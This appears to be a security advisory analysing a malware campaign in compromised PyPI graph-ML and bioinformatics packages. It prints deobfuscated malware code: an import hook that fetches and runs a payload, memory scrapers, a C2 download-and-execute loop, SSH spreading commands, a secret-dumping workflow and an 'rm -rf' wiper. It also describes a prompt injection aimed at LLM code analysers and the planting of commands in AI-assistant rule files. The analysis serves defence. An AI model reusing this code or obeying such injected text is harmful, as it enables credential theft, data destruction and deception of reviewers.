The Hades Campaign: Graph ML PyPI Packages Deploy Cross-Platform Memory Scrapers, AI Analyst Misdirection, and a Wiper Deterrent

Machine Learning


Summary

On June 8, 2026, version 0.8.101 of the popular graph machine learning package ensmallen on PyPI was identified as containing a highly sophisticated supply chain compromise. Concurrently, a series of related packages in the computational biology, bioinformatics, and genotype-phenotype analysis ecosystem were also found to carry the identical malicious payload. This operation, which we are tracking as the Hades Campaign, uses a self-contained Bun executable to execute a multi-layer payload silently on package import.

Affected Versions

The compromised packages identified in this campaign are listed below

Package Affected Versions
mflux-streamlit 0.0.3, 0.0.4
nhmpy 2.4.7
ppkt2synergy 0.1.1
embiggen 0.11.97
gpsea 0.9.14
pyphetools 0.9.120
ensmallen 0.8.101

This campaign represents the latest evolution of the Miasma threat actor, whose activities we have documented in our prior advisory posts. The core credential harvesting methods, self-replicating worm logic, and GitHub-based exfiltration are highly aligned with what was described in our previous posts:

Rather than repeating the components of the malware that remain unchanged, this analysis provides a step-by-step breakdown of the execution chain, highlighting exactly what is new or evolved in the Hades Campaign.

Step 1: Delivery and Python Import Hook

In the npm campaigns, the malware executed during the installation process by hijacking life-cycle scripts or exploiting native build hooks (the Phantom Gyp technique). In the Hades Campaign, the compromise targets Python developer environments and runs during code execution. The entry point is embedded inside the package’s __init__.py as an obfuscated single-line import hook.

The deobfuscated python entry logic behaves as follows:

# Deobfuscated import hook (vF203) embedded in __init__.py
import os as _O, tempfile as _T
_G = _O.path.join(_T.gettempdir(), ".bun_ran")
_O.path.exists(_G) or exec(
    'import os as _o, subprocess as _s, urllib.request as _u, '
    'platform as _p, sys as _y, shutil as _h, glob as _g; _j = None\n'
    'for d in _y.path:\n'
    '  try:\n'
    '    if _o.path.exists(_o.path.join(d, "_index.js")):\n'
    '      _j = _o.path.join(d, "_index.js"); break\n'
    '  except: pass\n'
    '_b = _o.path.join(_T.gettempdir(), "b", "bun")\n'
    'if not _o.path.exists(_b):\n'
    '  _a = "aarch64" if _p.machine()=="arm64" else "x64"\n'
    '  _m = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux")\n'
    '  _z = _o.path.join(_T.gettempdir(), "b.zip")\n'
    '  _o.makedirs(_o.path.dirname(_b), exist_ok=True)\n'
    '  _u.urlretrieve(f"https://github.com/oven-sh/bun/releases/download/'
    'bun-v1.3.14/bun-{_m}-{_a}.zip", _z)\n'
    '  _s.run(["unzip", "-q", "-d", _o.path.dirname(_b), _z], check=False)\n'
    '  _o.chmod(_b, 0o755)\n'
    '_s.run([_b, "run", _j], env=dict(_o.environ), check=False)\n'
    'open(_G, "w").close()'
)

This hook checks for a flag file at /tmp/.bun_ran. If it does not exist, the script crawls the Python module search paths to locate the companion payload file _index.js. It then downloads the appropriate pre-compiled Bun runtime binary (v1.3.14) from GitHub, extracts it to the temporary directory, and runs the JavaScript payload via bun run _index.js. The flag file is then written so the payload executes only once per boot cycle.

The use of the Bun runtime remains a consistent theme. Downloading Bun as a standalone ZIP file allows the malware to run complex JavaScript tasks in environments that lack a Node.js installation, bypassing traditional package manager controls and network proxy logs.

Step 2: AI Analyst Misdirection

In a novel defensive evasion technique, the start of the _index.js bundle contains a plain-text prompt injection. Because security companies increasingly rely on automated Large Language Model (LLM) pipelines to inspect and summarize suspicious package code, the attacker placed a block of text at the top of the file designed to hijack the analyzer’s system instructions.

The text block acts as an adversarial prompt injection, instructing any parsing LLM to ignore the obfuscated code below it, classify the package as verified clean infrastructure, and output a safe security report.

The screenshot below shows the prompt injection block at the beginning of the obfuscated bundle:

This represents a significant conceptual shift: attackers are now writing payloads that target the cognitive logic of automated AI triage systems. Scanners that pass raw text to LLMs without strict boundary isolation can be coerced into generating false negative verdicts, allowing the malicious package to bypass organization analysis.

Step 3: Obfuscation and Blob Decryption

The previous Miasma campaign delivered its payload in a single obfuscated JavaScript block. The Hades Campaign upgrades the structure to a modular, compartmentalized design. The primary bundle (_index.js) acts as a runtime bootstrapper, loading and decrypting sixteen independent functional payloads at startup.

Each payload blob is gzip-compressed and encrypted using AES-256-GCM with a unique hardcoded key. The bootstrapper utilizes native Bun APIs for rapid decryption and decompression:

// Modular Decryption Helper
function decryptBlob(hexKey, base64Ciphertext) {
  const key = Buffer.from(hexKey, 'hex');
  const data = Buffer.from(base64Ciphertext, 'base64');
  const iv = data.subarray(0, 12);
  const tag = data.subarray(12, 28);
  const cipher = data.subarray(28);
  const decipher = createDecipheriv('aes-256-gcm', key, iv);
  decipher.setAuthTag(tag);
  const plain = Buffer.concat([decipher.update(cipher), decipher.final()]);
  return new TextDecoder().decode(Bun.gunzipSync(plain));
}

Deobfuscation of these blobs revealed a modular architecture. Instead of running a single script, the core malware decrypts and deploys specific modules depending on the OS and context. These modules cover macOS and Windows memory reads, IDE and CI/CD backdoor setups, and C2 agents.

Step 4: Cross-Platform Memory Scrapers

A key capability of the Miasma actor is reading the process memory of the GitHub Actions runner (the Runner.Worker process) to extract secrets. In earlier campaigns, this was limited to Linux systems using /proc/{pid}/mem. The Hades Campaign introduces tailored macOS and Windows memory scrapers.

Linux

On Linux, the malware walks the memory mappings in /proc/{pid}/maps and directly reads /proc/{pid}/mem to scrape plaintext variables.

macOS Memory Scraper

On macOS runners, the malware decrypts a Python script (blob vF2015) that invokes the Mach kernel VM APIs via ctypes. Because the target runner worker and the execution process run under the same user ID (UID), the script can obtain a task port without root privileges:

# macOS Mach VM Scraper (ctypes wrapper)
import ctypes, ctypes.util, sys

libc = ctypes.CDLL(ctypes.util.find_library('c'))
task = ctypes.c_uint(0)
# Retrieve the Mach task port for Runner.Worker
kret = libc.task_for_pid(libc.mach_task_self_(), TARGET_PID, ctypes.byref(task))
if kret == 0:
    addr = ctypes.c_ulonglong(0)
    size = ctypes.c_ulonglong(0)
    while True:
        info = vm_region_basic_info_64()
        info_cnt = ctypes.c_uint(VM_REGION_BASIC_INFO_COUNT)
        objname = ctypes.c_uint(0)
        # Query memory region permissions
        kret = libc.mach_vm_region(task, ctypes.byref(addr), ctypes.byref(size), 11, ctypes.byref(info), ctypes.byref(info_cnt), ctypes.byref(objname))
        if kret != 0:
            break
        # Read readable memory pages
        if info.protection & 1:
            buf = ctypes.create_string_buffer(size.value)
            out_size = ctypes.c_ulonglong(0)
            if libc.mach_vm_read_overwrite(task, addr.value, size.value, ctypes.cast(buf, ctypes.c_void_p), ctypes.byref(out_size)) == 0:
                sys.stdout.buffer.write(buf.raw[:out_size.value])
        addr.value += size.value

Windows Memory Scraper

On Windows systems, the malware executes a PowerShell script (blob vF2014) that dynamically compiles a C# class using Add-Type. This class uses Win32 API functions like VirtualQueryEx and ReadProcessMemory to crawl the target process memory space:

# Windows API Memory Dumper
Add-Type @"
using System;
using System.Runtime.InteropServices;

public class MemDump {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint dwAccess, bool inherit, int pid);
    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, byte[] buf, IntPtr size, out IntPtr read);
    [DllImport("kernel32.dll")]
    public static extern int VirtualQueryEx(IntPtr hProc, IntPtr addr, out MBI info, uint len);

    public struct MBI {
        public IntPtr BaseAddress;
        public IntPtr AllocationBase;
        public uint AllocationProtect;
        public IntPtr RegionSize;
        public uint State;
        public uint Protect;
        public uint Type;
    }

    public static void Dump(int pid) {
        IntPtr hProc = OpenProcess(0x0010 | 0x0400, false, pid); // VM_READ and QUERY_INFORMATION
        if (hProc == IntPtr.Zero) return;
        IntPtr addr = IntPtr.Zero;
        byte[] buffer = new byte[4096];
        while (true) {
            MBI info;
            if (VirtualQueryEx(hProc, addr, out info, 28) == 0) break;
            if (info.State == 0x1000 && (info.Protect & 0x100) == 0) { // MEM_COMMIT and not PAGE_GUARD
                long remaining = info.RegionSize.ToInt64();
                long curr = info.BaseAddress.ToInt64();
                while (remaining > 0) {
                    int readSize = (int)Math.Min(remaining, buffer.Length);
                    IntPtr read;
                    if (ReadProcessMemory(hProc, new IntPtr(curr), buffer, new IntPtr(readSize), out read)) {
                        Console.OpenStandardOutput().Write(buffer, 0, read.ToInt32());
                    }
                    curr += readSize;
                    remaining -= readSize;
                }
            }
            addr = new IntPtr(info.BaseAddress.ToInt64() + info.RegionSize.ToInt64());
        }
    }
}
"@

By obtaining cross-platform memory access, the malware successfully extracts unmasked variables and tokens on Linux, macOS, and Windows runners, ensuring full coverage in heterogeneous development and build environments.

Step 5: Command and Control (C2) Channels

The Hades Campaign communicates with its operators using three independent channels that use public GitHub infrastructure to blend with normal traffic.

Channel 1: Token Dead-Drop (DontRevokeOrItGoesBoom)

Harvested GitHub personal access tokens are encrypted and pushed as commits to public repositories under the control of the attacker. The commits use the magic keyword DontRevokeOrItGoesBoom. The attacker queries GitHub search APIs to locate these commits and recover the tokens.

Channel 2: Signed JavaScript Eval (TheBeautifulSnadsOfTime)

The malware queries GitHub commits for the keyword TheBeautifulSnadsOfTime. The commit messages contain base64-encoded strings representing JavaScript payloads along with an RSA-PSS signature. The malware verifies the signature against a hardcoded public key (blob vF209) and executes valid payloads via eval().

Channel 3: Python Dropper (firedalazer)

A new Python-specific C2 channel is introduced in this campaign. The malware writes a Python script named updater.py (blob vF202) to disk and installs it as a background service. This service polls GitHub for commits matching the keyword firedalazer. The commits encode a URL and an RSA-PSS signature. When a valid commit is detected, the daemon downloads the script from the URL, verifies its signature, and executes it:

# Hourly Python C2 Polling Loop (updater.py)
import urllib.request, base64, re, time

class GitHubMonitor:
    def process_latest_commit(self):
        # Queries https://api.github.com/search/commits?q=firedalazer
        commits = self._search_github_commits("firedalazer")
        if not commits: return
        msg = commits[0].get("commit", {}).get("message", "")
        match = re.search(r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)", msg)
        if match:
            url = base64.b64decode(match.group(1)).decode("utf-8")
            sig = base64.b64decode(match.group(2))
            if self._verify_signature(match.group(1).encode(), sig):
                self._download_and_execute(url)

    def poll_loop(self):
        while True:
            self.process_latest_commit()
            time.sleep(3600)

Step 6: Exfiltration

Stolen credentials are encrypted locally using hybrid encryption:

  1. The harvested secrets are JSON-serialized and compressed using gzip.
  2. A random 256-bit AES key is generated.
  3. The data is encrypted with AES-256-GCM using the ephemeral key.
  4. The ephemeral key is encrypted using the attacker’s public RSA-2048 key (blob vF2011).
  5. The encrypted payload is pushed to a newly created public GitHub repository under the attacker’s control.

The exfiltration repositories are named using combinations from a wordlist of Underworld and Hades terms (e.g. stygian-cerberus-42817, tartarean-charon-18401) and carry the description “Hades – The End for the Damned”. This represents a naming update from the Dune/Miasma terms used previously.

Step 7: Worm Propagation and Lateral Movement

A core component of the Hades Campaign is its ability to replicate and spread laterally across developer networks and trust boundaries. The deobfuscated payload reveals three distinct vectors for self-replication.

SSH/SCP Lateral Movement

To spread to other local or remote developer systems, the malware searches for reachable host targets. It parses the files ~/.ssh/known_hosts and ~/.ssh/config to build a list of target hostnames. If both ssh and scp binaries are present on the local path, it iterates through each hostname and attempts connection.

The connections are initiated in batch mode using pre-configured key pairs:

# SSH Connection and Loader Staging
ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 -o PasswordAuthentication=no -o BatchMode=yes [hostname] "mkdir -p /tmp/.sshu-[random]"
scp -o StrictHostKeyChecking=no ... /dev/stdin [hostname]:/tmp/.sshu-[random]/ai_setup.sh
scp -o StrictHostKeyChecking=no ... /dev/stdin [hostname]:/tmp/.sshu-[random]/ai_init.js
ssh -o StrictHostKeyChecking=no ... [hostname] "cd /tmp/.sshu-[random] && bash ai_setup.sh"

This stages the loader script (blob vF2016) and the primary payload (_index.js) in a temporary directory on the target host, executes the loader to compromise the target, and cleanly deletes the staging directory.

PyPI and npm OIDC Trust Exploitation and SLSA Provenance Bypass

When running inside a GitHub Actions workflow runner, the malware attempts to exploit OpenID Connect (OIDC) trust configurations. It checks for OIDC variables:

ACTIONS_ID_TOKEN_REQUEST_TOKEN
ACTIONS_ID_TOKEN_REQUEST_URL

If these variables are present, the malware calls the endpoint with Python or npm registry audiences to mint PyPI or npm publish tokens. To bypass registry signature policies and verification checks, the malware generates cryptographically signed SLSA provenance bundles using Sigstore:

  1. It requests a signing certificate from Fulcio (https://fulcio.sigstore.dev) using the OIDC token, which issues a short-lived certificate tying an ephemeral public key to the runner’s OIDC identity.
  2. It formats a SLSA provenance statement matching the https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1 schema, specifying the runner repository, workflow path, commit SHA, and invocation ID.
  3. It DSSE-signs the statement and uploads it to the Rekor transparency log (https://rekor.sigstore.dev) to obtain an inclusion proof and integrated timestamp.
  4. It packages the certificate, signatures, and Rekor inclusion proof into a Sigstore bundle (application/vnd.dev.sigstore.bundle.v0.3+json).

It then fetches target libraries, injects its obfuscated import hook and javascript payload, and publishes the compromised versions back to PyPI and npm using the organization’s automated publishing credentials and the generated Sigstore provenance bundle. This ensures that the published package appears to have valid, cryptographically verified build provenance from the organization’s official GitHub Actions build environment.

GitHub Actions Workflow Injection and Secrets Extraction

If the harvested GitHub token has appropriate write permissions, the malware targets GitHub repositories to extract organization secrets using GitHub Actions runners. Depending on the token’s scopes, it employs one of two distinct workflow injection techniques.

Method 1: Push-Triggered Workflow (Requires workflow Scope)

If the token contains the workflow scope, the malware executes runPushWorkflow():

  1. It clones the default branch and creates a temporary branch named by appending a number to an existing branch (e.g., main4, master2) to blend in.
  2. It commits a malicious workflow file under .github/workflows/codeql.yml, hijacking a common security workflow name to evade simple audits.
  3. The workflow, named Run Copilot, is configured to run on push to that temporary branch. It dumps all secrets to format-results.txt and uploads it as an artifact named format-results using SHA-pinned steps for evasion.
  4. The malware polls the GitHub API for the run, downloads the zipped artifact, extracts the secrets, and then deletes the run history and the temporary branch, leaving no obvious trace of the malicious activity.

Method 2: Deployment-Triggered Workflow (Requires repo Write Access)

If the token lacks the workflow scope but has repository write permissions, the malware executes runDeployWorkflow() to bypass restriction controls:

  1. It commits the deployment workflow Run Copilot to a random path like .github/workflows/codeql-[random].yml.
  2. It creates a second commit immediately deleting the workflow file so it is no longer present on the branch.
  3. It pushes a branch named chore/codeql-setup pointing to the deletion commit.
  4. It triggers a GitHub deployment targeting the deployment environment Development pointing to the commit before deletion (which still contains the workflow file).
  5. The deployment triggers the workflow on the runner, which dumps secrets to an artifact. The malware polls the run, downloads the artifact, and then deletes the deployment record, the workflow run, and the branch.

Below is the raw YAML workflow payload used by both methods to extract and package organizational secrets:

name: Run Copilot
run-name: Run Copilot
on:
  push:      # For push-based injection
  deployment: # For deployment-based injection
jobs:
  format:
    runs-on: ubuntu-latest
    env:
      VARIABLE_STORE: ${{ toJSON(secrets) }}
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - name: Copilot Setup
        run: echo "$VARIABLE_STORE" > format-results.txt
      - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
        with:
          name: format-results
          path: format-results.txt

Targeted AI Coding Assistant and IDE Rules Hijacking

The malware also backdoors local workspace folders to execute when analyzed by AI assistants or opened in IDEs. It walks the directory tree looking for rule files or configuration directories for 14 different AI agents and systems (including Claude, Codex, Gemini, Copilot, Cline, Aider, Tabby, Amazon Q, Cody, Bolt, and Continue).

It targets files such as:

  • .cursorrules and .windsurfrules
  • .cursor/rules/ directory rules
  • .github/copilot-instructions.md
  • .aider.conf.yml
  • settings.json, config.json, and mcp.json

By planting custom prompt instructions or executing hooks within these configuration assets, the malware triggers a bun run bootstrap command when developers load or consult the workspace with their AI assistants.

Step 8: Persistence and the Wiper Deterrent

To ensure persistence on developer workstations, the malware installs the update-monitor C2 polling daemon. Simultaneously, the malware installs a second background service named gh-token-monitor (blob vF208). This service acts as a wiper deterrent.

The script polls the GitHub API using the stolen token. If the token is revoked (returning a 4xx HTTP status), the service triggers a destructive wiper command:

#!/usr/bin/env bash
# gh-token-monitor.sh
# Checks token status; executes wiper if revoked
START_TIME=$(date +%s)
MAX_TTL=259200 # 72 hours
while true; do
    if [[ $(( $(date +%s) - START_TIME )) -ge $MAX_TTL ]]; then
        exit 0
    fi
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "Authorization: Bearer ${GITHUB_TOKEN}" \
        "https://api.github.com/user")
    if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
        # Wiper trigger
        eval "rm -rf ~/; rm -rf ~/Documents"
        exit 0
    fi
    sleep 60
done

On Linux, this is registered as a user-level systemd service with user lingering enabled. On macOS, it is written as a LaunchAgent. The threat actor is leveraging the risk of data destruction to discourage security teams from immediately revoking stolen credentials, creating a window to maintain access.

Attack Execution Flow and Timeline

Indicators of Compromise

Indicator Type Value Significance
Lock File /tmp/.bun_ran Created during import. Confirming execution occurred.
Lock File /tmp/tmp.0144018410.lock Anti-recursion singleton. Confirms active execution.
State File /var/tmp/.gh_update_state Tracks executed firedalazer payloads. Confirms C2 communication.
Persistence Script ~/.local/share/updater/update.py The C2 polling daemon script.
Persistence Config ~/.config/systemd/user/update-monitor.service Linux service for hourly C2 updates.
Persistence Config ~/.config/systemd/user/gh-token-monitor.service Linux service checking for token revocation.
Persistence Config ~/Library/LaunchAgents/com.user.update-monitor.plist macOS service for hourly C2 updates.
Persistence Config ~/Library/LaunchAgents/com.user.gh-token-monitor.plist macOS service checking for token revocation.
Wiper Script ~/.local/bin/gh-token-monitor.sh The monitor script executing the wiper.
Wiper Config ~/.config/gh-token-monitor/token The active GitHub token used to check status.
Repo Backdoor Files .claude/settings.json, .claude/index.js, .claude/setup.mjs Backdoors planted in source code repositories.
Repo Backdoor Files .vscode/tasks.json, .vscode/setup.mjs Backdoors planted in VS Code workspace directories.
Repo Workflow File Run Copilot (Planted YAML workflow) Planted build steps designed to upload organizational secrets.
Exfiltration Repo Pattern stygian-cerberus-[0-9]+, tartarean-charon-[0-9]+ Public exfiltration repositories created on compromised accounts.
Exfiltration Description Hades – The End for the Damned Description string present on all exfil repositories.
C2 Search Keyword DontRevokeOrItGoesBoom GitHub commit search query for token harvesting.
C2 Search Keyword TheBeautifulSnadsOfTime GitHub commit search query for JS updates.
C2 Search Keyword firedalazer GitHub commit search query for Python droppers.

StepSecurity Harden Runner

Harden-Runner is a purpose-built security agent for CI/CD runners.

It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including npm install.

In this campaign, the malicious payload attempts to read the Runner.Worker process memory to extract plaintext secrets, including GITHUB_TOKEN and all secrets injected into the workflow, directly from the runner’s address space without ever writing them to disk or making a suspicious network connection.

Harden-Runner detects this and immediately initiates lockdown mode, terminating the malicious process before the memory read can complete and preventing any secrets from being extracted. The workflow run is halted and a suspicious process event is recorded in the runtime trace.

Link to the github run : https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/27125603947

This post will be updated as technical analysis of the remaining packages progresses, including full payload deobfuscation, recovery of encrypted C2 domains, and any additional indicators of compromise identified.



Source link